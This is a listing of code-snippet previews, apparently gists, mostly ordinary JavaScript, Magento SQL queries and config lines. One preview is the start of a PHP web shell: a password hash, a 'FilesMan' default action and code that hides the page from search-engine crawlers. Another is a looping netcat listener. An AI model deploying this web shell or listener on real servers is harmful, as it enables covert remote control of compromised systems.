This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var r = '123456789'.split("").reverse().reduce(function(pre, current){ | |
| pre = (pre.constructor == Array) ? pre : [pre]; | |
| return ["", "+", "-"].map(function(op) { | |
| return pre.reduce(function(carry, item) { | |
| return carry.concat( | |
| ("-" + current + op + item).replace(/[-,+][-,+]/g, "-"), | |
| (current + op + item).replace(/[-,+][-,+]/g, "-") | |
| ); | |
| },[]); | |
| }).reduce(function(p, c) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var execute = function () { | |
| var field = [ | |
| [{a: 1}, {a: 2}, {a: 3}, {a: 4}], | |
| [{b: 1}, {b: 2}, {b: 3}, {b: 4}], | |
| [{c: 1}, {c: 2}, {c: 3}, {c: 4}], | |
| [{d: 1}, {d: 2}, {d: 3}, {d: 4}] | |
| ]; | |
| var directions = { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| select soi.*, GROUP_CONCAT(soi.item_status) from (select | |
| CONCAT(ssfoi.item_id, '->', if( | |
| (ssfoi.invoiced = false and ssfoi.shipped = false AND ssfoi.refunded = false AND ssfoi.canceled = false AND ifnull(ssfoi.backordered, 0.0000) = false), | |
| 'Pending', | |
| if( | |
| ssfoi.shipped AND ssfoi.invoiced AND (ssfoi.actuallyOrdered = ssfoi.shipped), | |
| 'Shipped', | |
| if(ssfoi.invoiced AND ssfoi.shipped AND (ssfoi.actuallyOrdered = ssfoi.invoiced), | |
| 'Invoiced', | |
| if(ssfoi.backordered AND (ssfoi.actuallyOrdered = ssfoi.backordered), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| composer.phar global config http-basic.repo.magento.com <public_key> <private_key> | |
| composer config --global repositories.magento composer http://repo.magento.com/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT DBName,CONCAT(LPAD(FORMAT(SDSize/POWER(1024,pw),3),17,' '),' ', | |
| SUBSTR(' KMGTP',pw+1,1),'B') "DataSize", | |
| CONCAT(LPAD(FORMAT(SXSize/POWER(1024,pw),3),17,' '),' ', | |
| SUBSTR(' KMGTP',pw+1,1),'B') "IndexSize", | |
| CONCAT(LPAD(FORMAT(STSize/POWER(1024,pw),3),17,' '),' ', | |
| SUBSTR(' KMGTP',pw+1,1),'B') "Total Size" | |
| FROM (SELECT IFNULL(DB,'All Databases') DBName,SUM(DSize) SDSize, | |
| SUM(XSize) SXSize,SUM(TSize) STSize | |
| FROM (SELECT table_schema DB,data_length DSize,index_length XSize, | |
| data_length+index_length TSize FROM information_schema.tables WHERE |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $auth_pass = "eaf02c22c483aa6b6510118dd3524c2c"; | |
| $color = "#df5"; | |
| $default_action = 'FilesMan'; | |
| $default_use_ajax = true; | |
| $default_charset = 'Windows-1251'; | |
| if(!empty($_SERVER['HTTP_USER_AGENT'])) { | |
| $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); | |
| if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nginx/ | |
| !nginx/.gitkeep | |
| !nginx/logs/.gitkeep | |
| src/ | |
| tmp/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| while nc -l -v 8089 ; do sleep 0.01 ; done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE REFERENCED_TABLE_NAME = '<table name>' AND TABLE_SCHEMA=database(); |